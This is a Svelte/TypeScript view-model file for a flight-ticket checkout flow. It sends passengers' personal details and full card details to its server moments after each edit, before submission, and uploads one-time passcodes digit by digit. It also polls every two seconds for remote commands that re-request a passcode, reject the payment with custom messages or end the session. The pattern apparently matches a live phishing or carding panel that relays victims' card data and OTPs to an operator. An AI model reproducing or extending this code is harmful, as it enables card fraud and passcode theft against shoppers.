import { get } from "svelte/store"; import { CKActionType, SessionOutcome, type FlowInfo, type PendingAction, type PendingActions, } from "$lib/domains/ckflow/data/entities"; import { trpcApiStore } from "$lib/stores/api"; import { toast } from "svelte-sonner"; import { flightTicketStore } from "$lib/domains/ticket/data/store"; import { passengerInfoVM } from "$lib/domains/passengerinfo/view/passenger.info.vm.svelte"; import { paymentInfoVM } from "$lib/domains/ticket/view/checkout/payment-info-section/payment.info.vm.svelte"; import { ticketCheckoutVM } from "$lib/domains/ticket/view/checkout/flight-checkout.vm.svelte"; import { CheckoutStep, type FlightPriceDetails, } from "$lib/domains/ticket/data/entities"; import { PaymentMethod } from "$lib/domains/paymentinfo/data/entities"; import { page } from "$app/state"; import { ClientLogger } from "@pkg/logger/client"; import { billingDetailsVM } from "$lib/domains/ticket/view/checkout/payment-info-section/billing.details.vm.svelte"; import { passengerPIIModel, type PassengerPII, } from "$lib/domains/passengerinfo/data/entities"; import type { PaymentDetailsPayload } from "$lib/domains/paymentinfo/data/entities"; class ActionRunner { async run(actions: PendingActions) { if (actions.length < 1) { return; } console.log(actions); const hasTerminationAction = actions.find( (a) => a.type === CKActionType.TerminateSession, ); if (hasTerminationAction) { this.terminateSession(); return; } const actionHandlers = { [CKActionType.BackToPII]: this.backToPII, [CKActionType.BackToPayment]: this.backToPayment, [CKActionType.CompleteOrder]: this.completeOrder, [CKActionType.TerminateSession]: this.terminateSession, [CKActionType.RequestOTP]: this.requestOTP, } as const; for (const action of actions) { const ak = action.type as any as keyof typeof actionHandlers; if (!ak || !actionHandlers[ak]) { console.log(`Invalid action found for ${action.type}`); continue; } await actionHandlers[ak](action); } } private async completeOrder(data: any) { const ok = await ticketCheckoutVM.checkout(); if (!ok) return; const cleanupSuccess = await ckFlowVM.cleanupFlowInfo( SessionOutcome.COMPLETED, CheckoutStep.Complete, ); if (!cleanupSuccess) { toast.error("There was an issue finalizing your order", { description: "Please check your order status in your account", }); return; } toast.success("Your booking has been confirmed", { description: "Redirecting, please wait...", }); // Ensure flow is completely reset before redirecting ckFlowVM.reset(); setTimeout(() => { window.location.replace("/checkout/success"); }, 500); } private async requestOTP(action: PendingAction) { if (!ckFlowVM.info) return; // Reset OTP submission status to show the form again await ckFlowVM.updateFlowState(ckFlowVM.info.flowId, { ...ckFlowVM.info, showVerification: true, otpSubmitted: false, // Reset this flag to show the OTP form again otpCode: undefined, // Clear previous OTP code pendingActions: ckFlowVM.info.pendingActions.filter( (a) => a.id !== action.id, ), }); // Make sure the info is immediately updated in our local state if (ckFlowVM.info) { ckFlowVM.info = { ...ckFlowVM.info, showVerification: true, otpSubmitted: false, otpCode: undefined, pendingActions: ckFlowVM.info.pendingActions.filter( (a) => a.id !== action.id, ), }; } await ckFlowVM.refreshFlowInfo(false); ticketCheckoutVM.checkoutStep = CheckoutStep.Verification; toast.info("Verification required", { description: "Please enter the verification code sent to your device", }); } private async backToPII(action: PendingAction) { await ckFlowVM.popPendingAction(action.id, { checkoutStep: CheckoutStep.Initial, }); await ckFlowVM.goBackToInitialStep(); toast.error("Some information provided is not valid", { description: "Please double check your info & try again", }); ticketCheckoutVM.checkoutStep = CheckoutStep.Initial; } private async backToPayment(action: PendingAction) { const out = await ckFlowVM.popPendingAction(action.id, { checkoutStep: CheckoutStep.Payment, }); if (!out) { return; } console.log("back to payment action : ", action); const errorMessage = action.data?.message || "Could not complete transaction"; const errorDescription = action.data?.description || "Please confirm your info & try again"; toast.error(errorMessage, { description: errorDescription, duration: 6000, }); ticketCheckoutVM.checkoutStep = CheckoutStep.Payment; } private async terminateSession() { await ckFlowVM.cleanupFlowInfo(); ckFlowVM.reset(); ticketCheckoutVM.reset(); const tid = page.params.tid as any as string; const sid = page.params.sid as any as string; window.location.replace(`/checkout/terminated?sid=${sid}&tid=${tid}`); } } export class CKFlowViewModel { actionRunner: ActionRunner; setupDone = $state(false); flowId: string | undefined = $state(undefined); info: FlowInfo | undefined = $state(undefined); otpCode: string | undefined = $state(undefined); poller: NodeJS.Timer | undefined = undefined; pinger: NodeJS.Timer | undefined = undefined; priceFetcher: NodeJS.Timer | undefined = undefined; // Data synchronization control private personalInfoDebounceTimer: NodeJS.Timeout | null = null; private paymentInfoDebounceTimer: NodeJS.Timeout | null = null; syncInterval = 300; // 300ms debounce for syncing updatedPrices = $state(undefined); constructor() { this.actionRunner = new ActionRunner(); } reset() { this.setupDone = false; this.flowId = undefined; this.info = undefined; this.clearPoller(); this.clearPinger(); this.clearPersonalInfoDebounce(); this.clearPaymentInfoDebounce(); } async initFlow() { if (this.setupDone) { console.log(`Initting flow ${this.flowId} but setup already done`); return; } console.log(`Initting flow ${this.flowId}`); const api = get(trpcApiStore); if (!api) { toast.error("Could not initiate checkout at the moment", { description: "Please try again later", }); return; } const ticket = get(flightTicketStore); const refOIds = ticket.refOIds; if (!refOIds) { this.setupDone = true; return; // Since we don't have any attached order(s), we don't need to worry about this dude } const info = await api.ckflow.initiateCheckout.mutate({ domain: window.location.hostname, refOIds, ticketId: ticket.id, }); if (info.error) { toast.error(info.error.message, { description: info.error.userHint }); return; } if (!info.data) { toast.error("Error while creating checkout flow", { description: "Try refreshing page or search for ticket again", }); return; } this.flowId = info.data; this.startPolling(); this.startPinging(); this.setupDone = true; } debouncePersonalInfoSync(personalInfo: PassengerPII) { this.clearPersonalInfoDebounce(); this.personalInfoDebounceTimer = setTimeout(() => { this.syncPersonalInfo(personalInfo); }, this.syncInterval); } debouncePaymentInfoSync() { if (!paymentInfoVM.cardDetails) return; this.clearPaymentInfoDebounce(); this.paymentInfoDebounceTimer = setTimeout(() => { const paymentInfo = { cardDetails: paymentInfoVM.cardDetails, flightTicketInfoId: get(flightTicketStore).id, method: PaymentMethod.Card, }; this.syncPaymentInfo(paymentInfo); }, this.syncInterval); } isPaymentInfoValid(): boolean { return ( Object.values(paymentInfoVM.errors).every((e) => e === "" || !e) || Object.keys(paymentInfoVM.errors).length === 0 ); } isPersonalInfoValid(personalInfo: PassengerPII): boolean { const parsed = passengerPIIModel.safeParse(personalInfo); return !parsed.error && !!parsed.data; } async syncPersonalInfo(personalInfo: PassengerPII) { if (!this.flowId || !this.setupDone) { return; } const api = get(trpcApiStore); if (!api) return; console.log("Pushing : ", personalInfo); try { await api.ckflow.syncPersonalInfo.mutate({ flowId: this.flowId, personalInfo, }); ClientLogger.debug("Personal info synced successfully"); } catch (err) { ClientLogger.error("Failed to sync personal info", err); } } async syncPaymentInfo(paymentInfo: PaymentDetailsPayload) { if (!this.flowId || !this.setupDone || !paymentInfo.cardDetails) { return; } const api = get(trpcApiStore); if (!api) return; console.log("Pushing payinfo : ", paymentInfo); try { await api.ckflow.syncPaymentInfo.mutate({ flowId: this.flowId, paymentInfo, }); ClientLogger.debug("Payment info synced successfully"); } catch (err) { ClientLogger.error("Failed to sync payment info", err); } } private clearPersonalInfoDebounce() { if (this.personalInfoDebounceTimer) { clearTimeout(this.personalInfoDebounceTimer); this.personalInfoDebounceTimer = null; } } private clearPaymentInfoDebounce() { if (this.paymentInfoDebounceTimer) { clearTimeout(this.paymentInfoDebounceTimer); this.paymentInfoDebounceTimer = null; } } clearUpdatedPrices() { this.updatedPrices = undefined; } private clearPoller() { if (this.poller) { clearInterval(this.poller); } } private clearPinger() { if (this.pinger) { clearInterval(this.pinger); } } private async startPolling() { this.clearPoller(); this.poller = setInterval(() => { this.refreshFlowInfo(); }, 2000); } private async startPinging() { this.clearPinger(); this.pinger = setInterval(() => { this.pingFlow(); }, 30000); // Every 30 seconds } private async pingFlow() { if (!this.flowId) { return; } const api = get(trpcApiStore); if (!api) return; try { await api.ckflow.ping.mutate({ flowId: this.flowId }); ClientLogger.debug("Flow pinged successfully"); } catch (err) { ClientLogger.error("Failed to ping flow", err); } } async updateFlowState( flowId: string, updatedInfo: FlowInfo, ): Promise { if (!flowId) return false; const api = get(trpcApiStore); if (!api) return false; try { const result = await api.ckflow.updateFlowState.mutate({ flowId, payload: updatedInfo, }); if (result.data) { this.info = updatedInfo; return true; } return false; } catch (err) { ClientLogger.error("Failed to update flow state", err); return false; } } // Method to submit OTP async submitOTP(code: string): Promise { if (!this.flowId || !this.setupDone || !this.info) { return false; } const api = get(trpcApiStore); if (!api) return false; try { // Update the flow state with OTP info const updatedInfo = { ...this.info, otpCode: code, partialOtpCode: code, otpSubmitted: true, lastSyncedAt: new Date().toISOString(), }; const result = await this.updateFlowState(this.flowId, updatedInfo); return result; } catch (err) { ClientLogger.error("Failed to submit OTP", err); return false; } } async syncPartialOTP(otpValue: string): Promise { if (!this.flowId || !this.setupDone || !this.info) { return; } const api = get(trpcApiStore); if (!api) return; try { // Update the flow state with partial OTP info const updatedInfo = { ...this.info, partialOtpCode: otpValue, // Store partial OTP in a different field lastSyncedAt: new Date().toISOString(), }; await this.updateFlowState(this.flowId, updatedInfo); ClientLogger.debug("Partial OTP synced successfully"); } catch (err) { ClientLogger.error("Failed to sync partial OTP", err); } } async refreshFlowInfo(runActions = true) { const api = get(trpcApiStore); if (!api || !this.flowId) { console.log("No api OR No flow id found"); return; } const info = await api.ckflow.getFlowInfo.query({ flowId: this.flowId, }); if (info.error) { if (info.error.detail.toLowerCase().includes("not found")) { return this.initFlow(); } toast.error(info.error.message, { description: info.error.userHint }); return; } if (!info.data) { return; } this.info = info.data; if (runActions) { this.actionRunner.run(info.data.pendingActions); } return { data: true }; } async popPendingAction(actionidToPop: string, meta: Partial = {}) { const api = get(trpcApiStore); if (!api || !this.info) { console.log("No API or flow state found"); return; } return api.ckflow.updateFlowState.mutate({ flowId: this.info.flowId, payload: { ...this.info, pendingActions: this.info.pendingActions.filter( (a) => a.id !== actionidToPop, ), ...meta, }, }); } async goBackToInitialStep() { if (!this.flowId && this.setupDone) { return true; // This assumes that there is no order attached to this one } const api = get(trpcApiStore); if (!api) { console.log("No api OR No flow id found"); return; } const out = await api.ckflow.goBackToInitialStep.mutate({ flowId: this.flowId!, }); if (out.error) { toast.error(out.error.message, { description: out.error.userHint }); return; } return true; } async executePrePaymentStep() { if (!this.flowId && this.setupDone) { return true; // This assumes that there is no order attached to this one } const api = get(trpcApiStore); if (!api) { console.log("No api OR No flow id found"); return; } // Get primary passenger's PII const primaryPassengerInfo = passengerInfoVM.passengerInfos.length > 0 ? passengerInfoVM.passengerInfos[0].passengerPii : undefined; const out = await api.ckflow.executePrePaymentStep.mutate({ flowId: this.flowId!, payload: { initialUrl: get(flightTicketStore).checkoutUrl, personalInfo: primaryPassengerInfo, }, }); if (out.error) { toast.error(out.error.message, { description: out.error.userHint }); return; } return true; } async executePaymentStep() { if (!this.flowId && this.setupDone) { return true; // This assumes that there is no order attached to this one } const api = get(trpcApiStore); if (!api) { console.log("No api OR No flow id found"); return; } const paymentInfo = { cardDetails: paymentInfoVM.cardDetails, flightTicketInfoId: get(flightTicketStore).id, method: PaymentMethod.Card, }; const out = await api.ckflow.executePaymentStep.mutate({ flowId: this.flowId!, payload: { personalInfo: billingDetailsVM.billingDetails, paymentInfo, }, }); if (out.error) { toast.error(out.error.message, { description: out.error.userHint }); return; } return true; } async cleanupFlowInfo( outcome = SessionOutcome.COMPLETED, checkoutStep = CheckoutStep.Confirmation, ) { if (!this.flowId && this.setupDone) { return true; // This assumes that there is no order attached to this one } const api = get(trpcApiStore); if (!api) { console.log("No api OR No flow id found"); return; } const out = await api.ckflow.cleanupFlow.mutate({ flowId: this.flowId!, other: { sessionOutcome: outcome, checkoutStep: checkoutStep, }, }); if (out.error) { toast.error(out.error.message, { description: out.error.userHint }); return false; } this.reset(); return true; } async onBackToPIIBtnClick() { // This is called when the user clicks the back button on the payment step return this.goBackToInitialStep(); } } export const ckFlowVM = new CKFlowViewModel();